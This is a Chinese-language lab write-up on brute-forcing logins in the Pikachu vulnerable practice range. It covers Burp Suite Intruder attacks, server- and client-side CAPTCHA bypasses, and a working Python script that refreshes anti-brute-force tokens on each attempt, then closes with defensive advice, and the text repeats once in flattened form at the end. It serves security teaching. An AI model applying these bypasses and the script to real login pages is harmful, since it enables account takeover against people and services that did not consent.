Pikachu靶场-暴力破解
字数 1145 2025-08-24 20:49:22

Pikachu靶场暴力破解漏洞教学文档

1. 暴力破解概述

暴力破解(Brute Force)是一种常见的攻击手段,通过对应用系统的认证接口尝试大量认证信息直到获取正确凭证。

关键特征:

  • 使用自动化工具配合字典进行高效尝试
  • 理论上所有系统都可能被暴力破解,取决于攻击者的计算资源和时间
  • 存在暴力破解漏洞的系统通常缺乏足够的安全策略

认证安全策略要点:

  1. 强制复杂密码策略
  2. 使用安全验证码或手机OTP
  3. 实施登录尝试限制(如连续错误后锁定)
  4. 采用双因素认证

2. 基于表单的暴力破解

攻击步骤:

  1. 进入靶场,随意输入账号密码并抓取登录请求
  2. 将请求发送到Burp Suite的Intruder模块
  3. 设置密码字段为变量
  4. 导入密码字典文件
  5. 配置适当线程数
  6. 开始爆破
  7. 分析结果,通过响应包长度或内容差异识别成功登录

3. 验证码绕过(on server)

漏洞特征:

  • 验证码由服务端生成并发送到客户端
  • 验证码可重复使用(未实现一次性验证)

攻击方法:

  1. 抓取包含验证码的登录请求
  2. 在Repeater中测试验证码是否可复用
  3. 确认可复用后直接进行爆破
  4. 关键注意:不要在拦截状态下刷新页面,否则服务端会刷新验证码导致爆破失败

4. 验证码绕过(on client)

漏洞特征:

  • 验证码完全由前端生成和验证
  • 无后端验证机制

三种攻击方法:

方法一:删除验证码参数

  1. 抓取登录请求
  2. 直接删除验证码参数
  3. 发送到Intruder进行爆破

方法二:禁用JavaScript

  1. 在浏览器中禁用JS执行
  2. 刷新页面使验证码消失
  3. 进行常规爆破

方法三:单次正确验证码捕获

  1. 正确填写一次验证码并抓包
  2. 使用该请求进行爆破(验证码参数保持不变)

5. Token防爆破机制绕过

漏洞特征:

  • 每次请求包含动态变化的token值
  • 传统爆破方法会因token失效而失败

方法一:使用Burp Suite的Pitchfork模式

攻击步骤:

  1. 抓取登录请求,观察token参数
  2. 选择Pitchfork攻击类型
  3. 设置密码和token两个变量
  4. 将线程数降为1(因token单次有效)
  5. 使用Grep-Extract从响应中提取新token
  6. 配置payload:
    • 密码变量:使用字典文件
    • token变量:使用递归搜索(Recursive grep)
  7. 启用"always"选项确保每次请求更新token

方法二:Python脚本自动化

import requests
from bs4 import BeautifulSoup

s = requests.session()
password = ['123', '456', '123456', '67899']  # 密码字典

header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
    'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}

# 获取初始token
req = s.get('http://x.x.x.x/vul/burteforce/bf_token.php#')
token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')

for pa in password:
    # 发送带token的登录请求
    req = s.post(
        url='http://x.x.x.x/vul/burteforce/bf_token.php#',
        data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'}
    )
    
    if 'success' in req.text:
        print("爆破成功,用户名:admin,密码为: %s" % pa)
        break
    else:
        # 获取新token继续尝试
        req = s.get('http://x.x.x.x/vul/burteforce/bf_token.php#')
        token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')

脚本关键点:

  1. 使用session保持会话
  2. 每次请求前获取最新token
  3. 通过响应内容判断是否爆破成功
  4. 实现token的自动更新机制

防御建议

  1. 实施账户锁定策略(连续失败后临时锁定)
  2. 使用强验证码(一次性、图形变形等)
  3. 限制单位时间内的登录尝试次数
  4. 采用多因素认证
  5. 对敏感操作实施IP限制
  6. 使用安全的token生成和验证机制
Pikachu靶场暴力破解漏洞教学文档 1. 暴力破解概述 暴力破解(Brute Force)是一种常见的攻击手段,通过对应用系统的认证接口尝试大量认证信息直到获取正确凭证。 关键特征: 使用自动化工具配合字典进行高效尝试 理论上所有系统都可能被暴力破解,取决于攻击者的计算资源和时间 存在暴力破解漏洞的系统通常缺乏足够的安全策略 认证安全策略要点: 强制复杂密码策略 使用安全验证码或手机OTP 实施登录尝试限制(如连续错误后锁定) 采用双因素认证 2. 基于表单的暴力破解 攻击步骤: 进入靶场,随意输入账号密码并抓取登录请求 将请求发送到Burp Suite的Intruder模块 设置密码字段为变量 导入密码字典文件 配置适当线程数 开始爆破 分析结果,通过响应包长度或内容差异识别成功登录 3. 验证码绕过(on server) 漏洞特征: 验证码由服务端生成并发送到客户端 验证码可重复使用(未实现一次性验证) 攻击方法: 抓取包含验证码的登录请求 在Repeater中测试验证码是否可复用 确认可复用后直接进行爆破 关键注意 :不要在拦截状态下刷新页面,否则服务端会刷新验证码导致爆破失败 4. 验证码绕过(on client) 漏洞特征: 验证码完全由前端生成和验证 无后端验证机制 三种攻击方法: 方法一:删除验证码参数 抓取登录请求 直接删除验证码参数 发送到Intruder进行爆破 方法二:禁用JavaScript 在浏览器中禁用JS执行 刷新页面使验证码消失 进行常规爆破 方法三:单次正确验证码捕获 正确填写一次验证码并抓包 使用该请求进行爆破(验证码参数保持不变) 5. Token防爆破机制绕过 漏洞特征: 每次请求包含动态变化的token值 传统爆破方法会因token失效而失败 方法一:使用Burp Suite的Pitchfork模式 攻击步骤: 抓取登录请求,观察token参数 选择Pitchfork攻击类型 设置密码和token两个变量 将线程数降为1(因token单次有效) 使用Grep-Extract从响应中提取新token 配置payload: 密码变量:使用字典文件 token变量:使用递归搜索(Recursive grep) 启用"always"选项确保每次请求更新token 方法二:Python脚本自动化 脚本关键点: 使用session保持会话 每次请求前获取最新token 通过响应内容判断是否爆破成功 实现token的自动更新机制 防御建议 实施账户锁定策略(连续失败后临时锁定) 使用强验证码(一次性、图形变形等) 限制单位时间内的登录尝试次数 采用多因素认证 对敏感操作实施IP限制 使用安全的token生成和验证机制